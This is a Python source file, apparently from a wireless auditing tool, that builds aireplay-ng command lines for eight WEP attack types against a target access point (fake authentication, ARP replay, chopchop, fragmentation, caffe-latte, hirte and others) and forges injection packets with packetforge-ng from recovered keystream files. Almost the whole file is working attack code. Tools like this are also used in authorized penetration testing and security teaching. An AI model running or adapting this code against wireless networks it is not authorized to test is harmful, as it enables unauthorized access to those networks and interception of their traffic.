261 lines
9.4 KiB
Python
261 lines
9.4 KiB
Python
#!/usr/bin/python
|
|
|
|
from Configuration import Configuration
|
|
from Process import Process
|
|
|
|
import os
|
|
|
|
class WEPAttackType(object):
|
|
''' Enumeration of different WEP attack types '''
|
|
fakeauth = 0
|
|
replay = 1
|
|
chopchop = 2
|
|
fragment = 3
|
|
caffelatte = 4
|
|
p0841 = 5
|
|
hirte = 6
|
|
forgedreplay = 7
|
|
|
|
def __init__(self, var):
|
|
'''
|
|
Sets appropriate attack name/value given an input.
|
|
Args:
|
|
var - Can be a string, number, or WEPAttackType object
|
|
This object's name & value is set depending on var.
|
|
'''
|
|
self.value = None
|
|
self.name = None
|
|
if type(var) == int:
|
|
for (name,value) in WEPAttackType.__dict__.iteritems():
|
|
if type(value) == int:
|
|
if value == var:
|
|
self.name = name
|
|
self.value = value
|
|
return
|
|
raise Exception("Attack number %d not found" % var)
|
|
elif type(var) == str:
|
|
for (name,value) in WEPAttackType.__dict__.iteritems():
|
|
if type(value) == int:
|
|
if name == var:
|
|
self.name = name
|
|
self.value = value
|
|
return
|
|
raise Exception("Attack name %s not found" % var)
|
|
elif type(var) == WEPAttackType:
|
|
self.name = var.name
|
|
self.value = var.value
|
|
else:
|
|
raise Exception("Attack type not supported")
|
|
|
|
def __str__(self):
|
|
return self.name
|
|
|
|
|
|
class Aireplay(object):
|
|
def __init__(self, target, attack_type, client_mac=None, replay_file=None):
|
|
'''
|
|
Starts aireplay process.
|
|
Args:
|
|
target - Instance of Target object, AP to attack.
|
|
attack_type - int, str, or WEPAttackType instance.
|
|
client_mac - MAC address of an associated client.
|
|
'''
|
|
cmd = Aireplay.get_aireplay_command(target,
|
|
attack_type,
|
|
client_mac=client_mac,
|
|
replay_file=replay_file)
|
|
|
|
# TODO: set 'stdout' when creating process to store output to file.
|
|
# AttackWEP will read file to get status of attack.
|
|
# E.g., chopchop will regex "(\d+)% done" to get percent complete.
|
|
'''
|
|
from subprocess import PIPE
|
|
sout = PIPE
|
|
if '--chopchop' in cmd:
|
|
sout = open(Configuration.temp('chopchop'), 'w')
|
|
'''
|
|
|
|
self.pid = Process(cmd,
|
|
devnull=False,
|
|
cwd=Configuration.temp())
|
|
|
|
def is_running(self):
|
|
return self.pid.poll() == None
|
|
|
|
def stop(self):
|
|
''' Stops aireplay process '''
|
|
if self.pid and self.pid.poll() != None:
|
|
self.pid.interrupt()
|
|
|
|
def get_output(self):
|
|
''' Returns stdout from aireplay process '''
|
|
return self.pid.stdout()
|
|
|
|
@staticmethod
|
|
def get_aireplay_command(target, attack_type,
|
|
client_mac=None, replay_file=None):
|
|
'''
|
|
Generates aireplay command based on target and attack type
|
|
Args:
|
|
target - Instance of Target object, AP to attack.
|
|
attack_type - int, str, or WEPAttackType instance.
|
|
client_mac - MAC address of an associated client.
|
|
replay_file - .Cap file to replay via --arpreplay
|
|
'''
|
|
|
|
# Interface is required at this point
|
|
Configuration.initialize()
|
|
if Configuration.interface == None:
|
|
raise Exception("Wireless interface must be defined (-i)")
|
|
|
|
cmd = ['aireplay-ng']
|
|
cmd.append('--ignore-negative-one')
|
|
|
|
if not client_mac and len(target.clients) > 0:
|
|
# Client MAC wasn't specified, but there's an associated client. Use that.
|
|
client_mac = target.clients[0].station
|
|
|
|
# type(attack_type) might be str, int, or WEPAttackType.
|
|
# Find the appropriate attack enum.
|
|
attack_type = WEPAttackType(attack_type).value
|
|
|
|
if attack_type == WEPAttackType.fakeauth:
|
|
cmd.extend(['-1', '0']) # Fake auth, no delay
|
|
cmd.extend(['-a', target.bssid])
|
|
cmd.extend(['-T', '1']) # Make 1 attemp
|
|
if target.essid_known:
|
|
cmd.extend(['-e', target.essid])
|
|
# Do not specify client MAC address,
|
|
# we're trying to fake-authenticate using *our* MAC
|
|
|
|
elif attack_type == WEPAttackType.replay:
|
|
cmd.append('--arpreplay')
|
|
cmd.extend(['-b', target.bssid])
|
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
|
if client_mac:
|
|
cmd.extend(['-h', client_mac])
|
|
|
|
elif attack_type == WEPAttackType.chopchop:
|
|
cmd.append('--chopchop')
|
|
cmd.extend(['-b', target.bssid])
|
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
|
cmd.extend(['-m', '60']) # Minimum packet length (bytes)
|
|
cmd.extend(['-n', '82']) # Maximum packet length
|
|
cmd.extend(['-F']) # Automatically choose first packet
|
|
if client_mac:
|
|
cmd.extend(['-h', client_mac])
|
|
|
|
elif attack_type == WEPAttackType.fragment:
|
|
cmd.append('--fragment')
|
|
cmd.extend(['-b', target.bssid])
|
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
|
cmd.extend(['-m', '100']) # Minimum packet length (bytes)
|
|
cmd.extend(['-F']) # Automatically choose first packet
|
|
if client_mac:
|
|
cmd.extend(['-h', client_mac])
|
|
|
|
elif attack_type == WEPAttackType.caffelatte:
|
|
cmd.append('--caffe-latte')
|
|
cmd.extend(['-b', target.bssid])
|
|
if client_mac:
|
|
cmd.extend(['-h', client_mac])
|
|
|
|
elif attack_type == WEPAttackType.p0841:
|
|
cmd.append('--interactive')
|
|
cmd.extend(['-b', target.bssid])
|
|
cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff'])
|
|
cmd.extend(['-t', '1'])
|
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
|
cmd.extend(['-F']) # Automatically choose first packet
|
|
cmd.extend(['-p', '0841'])
|
|
if client_mac:
|
|
cmd.extend(['-h', client_mac])
|
|
|
|
elif attack_type == WEPAttackType.hirte:
|
|
if client_mac == None:
|
|
# Unable to carry out hirte attack
|
|
raise Exception("Client is required for hirte attack")
|
|
cmd.append('--cfrag')
|
|
cmd.extend(['-h', client_mac])
|
|
elif attack_type == WEPAttackType.forgedreplay:
|
|
if client_mac == None or replay_file == None:
|
|
raise Exception(
|
|
"Client_mac and Replay_File are required for arp replay")
|
|
cmd.append('--arpreplay')
|
|
cmd.extend(['-b', target.bssid])
|
|
cmd.extend(['-r', replay_file])
|
|
cmd.extend(['-F']) # Automatically choose first packet
|
|
cmd.extend(['-x', str(Configuration.wep_pps)])
|
|
else:
|
|
raise Exception("Unexpected attack type: %s" % attack_type)
|
|
|
|
cmd.append(Configuration.interface)
|
|
return cmd
|
|
|
|
@staticmethod
|
|
def get_xor():
|
|
''' Finds the last .xor file in the directory '''
|
|
xor = None
|
|
for fil in os.listdir(Configuration.temp()):
|
|
if fil.startswith('replay_') and fil.endswith('.xor'):
|
|
xor = fil
|
|
return xor
|
|
|
|
@staticmethod
|
|
def forge_packet(xor_file, bssid, station_mac):
|
|
''' Forges packet from .xor file '''
|
|
forged_file = 'forged.cap'
|
|
cmd = [
|
|
'packetforge-ng',
|
|
'-0',
|
|
'-a', bssid, # Target MAC
|
|
'-h', station_mac, # Client MAC
|
|
'-k', '192.168.1.2', # Dest IP
|
|
'-l', '192.168.1.100', # Source IP
|
|
'-y', xor_file, # Read PRNG from .xor file
|
|
'-w', forged_file, # Write to
|
|
Configuration.interface
|
|
]
|
|
|
|
cmd = '"%s"' % '" "'.join(cmd)
|
|
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
|
|
if out.strip() == 'Wrote packet to: %s' % forged_file:
|
|
return forged_file
|
|
else:
|
|
from Color import Color
|
|
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
|
|
Color.pl('output:\n"%s"' % out)
|
|
return None
|
|
|
|
|
|
if __name__ == '__main__':
|
|
t = WEPAttackType(4)
|
|
print t.name, type(t.name), t.value
|
|
t = WEPAttackType('caffelatte')
|
|
print t.name, type(t.name), t.value
|
|
|
|
t = WEPAttackType(t)
|
|
print t.name, type(t.name), t.value
|
|
|
|
from Target import Target
|
|
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
|
|
t = Target(fields)
|
|
|
|
cmd = Aireplay.get_aireplay_command(t, 'fakeauth')
|
|
print ' '.join(['"%s"' % a for a in cmd])
|
|
|
|
'''
|
|
aireplay = Aireplay(t, 'replay')
|
|
while aireplay.is_running():
|
|
from time import sleep
|
|
sleep(0.1)
|
|
print aireplay.get_output()
|
|
'''
|
|
|
|
'''
|
|
forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
|
|
'A4:2B:8C:16:6B:3A', \
|
|
'00:C0:CA:4E:CA:E0')
|
|
print forge
|
|
'''
|